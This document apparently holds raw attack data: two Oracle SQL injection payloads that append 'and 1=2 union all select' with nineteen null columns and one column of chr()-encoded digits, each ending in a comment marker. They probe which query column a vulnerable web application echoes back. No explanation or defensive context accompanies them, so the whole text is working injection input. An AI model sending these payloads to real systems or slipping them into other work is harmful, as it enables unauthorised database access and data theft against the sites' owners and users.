s and 1=2 union all select chr(50)||chr(54)||chr(50)||chr(53)||chr(55),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--

s and 1=2 union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,chr(55)||chr(49)||chr(51)||chr(51)||chr(51) from dual--